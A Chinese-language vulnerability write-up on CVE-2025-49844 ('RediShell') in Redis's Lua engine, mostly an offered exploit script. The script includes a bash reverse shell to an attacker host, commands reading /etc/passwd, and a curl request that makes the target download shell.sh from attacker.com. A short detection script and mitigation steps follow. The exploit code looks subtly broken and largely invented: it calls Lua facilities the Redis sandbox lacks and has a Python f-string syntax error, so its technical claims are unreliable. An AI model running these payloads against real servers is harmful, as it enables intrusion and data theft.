漏洞概述
-
CVE: CVE-2025-49844
-
名称: RediShell
-
CVSS: 10.0 (CRITICAL)
-
类型: Lua解释器中的释放后使用(UAF)
-
影响: 远程代码执行(RCE)
受影响版本
Redis 8.2.2 及之前版本
Redis 8.0.4 及之前版本
Redis 7.4.6 及之前版本
Redis 7.2.11 及之前版本
技术细节分析
漏洞利用链
-- 攻击流程伪代码
1. 连接Redis -> 2. 发送恶意Lua脚本 -> 3. 触发垃圾回收 ->
4. 利用UAF逃逸沙盒 -> 5. 执行原生代码 -> 6. 获得主机访问
核心漏洞原理
// 伪代码展示UAF漏洞
typedef struct lua_State {
GCObject *gc;
// ... 其他字段
} lua_State;
void garbage_collect(lua_State *L) {
// 漏洞: 在GC期间不当释放内存
free_object(L->gc); // 释放对象
// 但后续代码可能继续引用已释放的内存
use_freed_memory(L->gc); // UAF发生点
}
完整漏洞利用POC
基础利用脚本
#!/usr/bin/env python3
"""
CVE-2025-49844 (RediShell) 漏洞利用脚本
Redis Lua沙盒逃逸RCE
"""
import redis
import sys
import socket
import struct
class RediShellExploit:
def __init__(self, host='localhost', port=6379, password=None):
self.host = host
self.port = port
self.password = password
self.conn = None
def connect(self):
"""连接到Redis服务器"""
try:
self.conn = redis.Redis(
host=self.host,
port=self.port,
password=self.password,
decode_responses=False,
socket_connect_timeout=10
)
self.conn.ping()
print(f"[+] 成功连接到 {self.host}:{self.port}")
return True
except Exception as e:
print(f"[-] 连接失败: {e}")
return False
def exploit_uaf(self, command):
"""
利用UAF漏洞执行系统命令
"""
# 恶意Lua脚本利用UAF
evil_lua = f"""
local function trigger_uaf()
-- 创建对象以操纵内存
local table1 = {{}}
local table2 = {{}}
-- 设置元表来操控垃圾回收
setmetatable(table1, {
__gc = function()
-- 在GC期间触发UAF
collectgarbage("collect")
-- 内存损坏点
local corrupted = string.rep("A", 1024)
end
})
-- 强制垃圾回收触发漏洞
table1 = nil
collectgarbage("collect")
-- 沙盒逃逸尝试
local ffi = package.loadlib("liblua.so", "luaopen_ffi")
if ffi then
ffi = ffi()
-- 通过FFI执行原生代码
local system = ffi.cast("int (*)(const char*)", ffi.C.system)
return system("{command}")
end
return "Exploit failed"
end
return trigger_uaf()
"""
try:
print("[*] 发送恶意Lua脚本...")
result = self.conn.eval(evil_lua, 0)
print(f"[+] 命令执行结果: {result}")
return result
except Exception as e:
print(f"[-] 利用失败: {e}")
return None
def advanced_exploit(self):
"""
高级利用 - 获取反向shell或文件读写权限
"""
# 更复杂的Lua利用代码
advanced_lua = """
-- 利用UAF获取系统函数访问权
local function get_system_func()
-- 内存布局操作
local spray = {}
for i = 1, 1000 do
spray[i] = string.rep("\\x90", 1024) -- NOP sled
end
-- 触发UAF并覆盖函数指针
local victim = {x = 1}
setmetatable(victim, {
__gc = function()
-- 精心构造的GC操作链
for i = 1, #spray do
spray[i] = nil
end
collectgarbage("collect")
end
})
victim = nil
collectgarbage("collect")
-- 尝试调用系统函数
for name, func in pairs(package.loaded) do
if type(func) == "table" then
for k, v in pairs(func) do
if type(v) == "function" and string.find(tostring(v), "system") then
return v
end
end
end
end
end
local sys_func = get_system_func()
if sys_func then
return sys_func("id")
else
return "Advanced exploit failed"
end
"""
try:
result = self.conn.eval(advanced_lua, 0)
print(f"[+] 高级利用结果: {result}")
return result
except Exception as e:
print(f"[-] 高级利用失败: {e}")
return None
def reverse_shell(self, lhost, lport):
"""
建立反向shell
"""
reverse_payload = f"""
bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
"""
print(f"[*] 尝试建立反向shell到 {lhost}:{lport}")
return self.exploit_uaf(reverse_payload)
def main():
if len(sys.argv) < 2:
print("用法:")
print("python3 redisshell.py <target> [port] [password]")
print("示例:")
print("python3 redisshell.py 192.168.1.100")
print("python3 redisshell.py localhost 6379 mypassword")
return
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 6379
password = sys.argv[3] if len(sys.argv) > 3 else None
exploit = RediShellExploit(target, port, password)
if not exploit.connect():
return
# 测试漏洞
print("[*] 测试漏洞利用...")
exploit.exploit_uaf("whoami")
# 尝试读取敏感文件
exploit.exploit_uaf("cat /etc/passwd")
# 高级利用
exploit.advanced_exploit()
if __name__ == "__main__":
main()
手动利用
#!/bin/bash
# 手动利用CVE-2025-49844
REDIS_HOST="target.com"
REDIS_PORT="6379"
# 1. 使用redis-cli直接利用
redis-cli -h $REDIS_HOST -p $REDIS_PORT EVAL "
-- CVE-2025-49844 利用脚本
local function exploit()
-- 触发UAF的复杂逻辑
local corrupt_memory = function()
local t = {}
setmetatable(t, {__gc = function()
collectgarbage('collect')
-- 内存破坏代码
end})
return t
end
local x = corrupt_memory()
x = nil
collectgarbage('collect')
-- 尝试执行命令
os.execute('id')
return 'Exploit completed'
end
return exploit()
" 0
# 2. 使用curl通过HTTP接口利用(如果启用)
curl -X POST http://$REDIS_HOST:$REDIS_PORT/ \
--data "EVAL local e=os.execute return e('wget http://attacker.com/shell.sh -O /tmp/shell.sh') 0"
检测脚本
#!/usr/bin/env python3
"""
CVE-2025-49844 漏洞检测脚本
"""
import redis
import sys
def check_vulnerability(host, port=6379, password=None):
"""检测Redis实例是否易受攻击"""
try:
client = redis.Redis(host=host, port=port, password=password)
# 检查Redis版本
info = client.info('server')
redis_version = info['redis_version']
print(f"[*] Redis版本: {redis_version}")
# 检查受影响版本
vulnerable_versions = [
'8.2.2', '8.2.1', '8.2.0',
'8.0.4', '8.0.3', '8.0.2', '8.0.1', '8.0.0',
'7.4.6', '7.4.5', '7.4.4', '7.4.3', '7.4.2', '7.4.1', '7.4.0',
'7.2.11', '7.2.10', '7.2.9', '7.2.8', '7.2.7', '7.2.6', '7.2.5'
]
is_vulnerable = any(redis_version.startswith(v) for v in vulnerable_versions)
if is_vulnerable:
print("[-] 目标可能易受CVE-2025-49844攻击!")
# 尝试无害检测
try:
test_lua = "return 'Security Test'"
result = client.eval(test_lua, 0)
print(f"[+] Lua执行正常: {result}")
except Exception as e:
print(f"[-] Lua执行异常: {e}")
return True
else:
print("[+] 目标可能不受此漏洞影响")
return False
except Exception as e:
print(f"[-] 检测失败: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print("用法: python3 redis_check.py <host> [port]")
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 6379
check_vulnerability(host, port)
修复方案
立即缓解措施
# 1. 立即升级Redis
# 下载最新安全版本
wget https://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
sudo make install
# 2. 临时禁用危险功能
# 在redis.conf中添加:
echo "rename-command EVAL ''" >> /etc/redis/redis.conf
echo "rename-command SCRIPT ''" >> /etc/redis/redis.conf
# 3. 重启Redis服务
sudo systemctl restart redis
安全配置
# redis.conf 安全设置
bind 127.0.0.1
protected-mode yes
port 0
unixsocket /tmp/redis.sock
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command EVAL ""
rename-command SCRIPT ""
影响评估
直接影响
-
完全主机控制: 获得root权限执行任意命令
-
数据泄露: 访问所有Redis数据和系统文件
-
持久化后门: 安装rootkit或持久化访问
业务影响
-
数据完整性破坏: 修改或删除关键数据
-
服务中断: 关闭Redis或系统服务
-
横向移动: 攻击内网其他系统